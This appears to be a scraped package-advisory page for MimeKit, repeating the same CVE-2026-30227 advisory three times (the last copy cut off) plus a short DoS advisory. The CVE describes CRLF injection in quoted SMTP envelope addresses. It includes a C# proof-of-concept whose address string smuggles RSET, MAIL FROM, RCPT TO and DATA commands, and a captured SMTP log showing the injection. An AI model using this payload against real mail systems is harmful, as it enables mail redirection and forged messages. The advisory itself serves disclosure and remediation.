A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jul 11, 2024

4.7.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Jun 29, 2024

4.6.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
